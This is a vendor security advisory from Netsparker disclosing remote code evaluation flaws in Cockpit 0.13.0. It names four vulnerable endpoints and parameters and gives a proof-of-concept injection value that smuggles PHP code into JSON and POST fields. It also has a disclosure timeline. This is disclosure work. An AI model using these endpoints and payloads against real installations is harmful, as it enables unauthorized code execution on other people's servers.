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Remote Code Evaluation (RCE) Vulnerabilities in Cockpit 0.13.0

Advisory by Netsparker
Name: Multiple RCE Vulnerabilities in Cockpit
Affected Software : Cockpit
Affected Versions: 0.13.0
Vendor Homepage : 
Vulnerability Type : Remote Code Evaluation
Severity : Important
Status : Not fixed
Netsparker Advisory Reference : NS-16-016

Technical Details

Proof of Concept URLs for RCE vulnerabilities in Cockpit;

URL /cockpit-0.13.0/accounts/save
Parameter Name account._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/auth/check
Parameter Name auth%5buser%5d
Parameter Type POST
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/api/galleries/findOne
Parameter Name filter._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

URL /cockpit-0.13.0/api/collections/findOne
Parameter Name filter._id
Parameter Type JSON
Attack Pattern '+print(int)0xFFF9999-22+'

For more information on remote code evaluation vulnerabilities read the article Remote Code Evaluation.

Advisory Timeline
30 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
19 Sep 2016 - Advisory released


Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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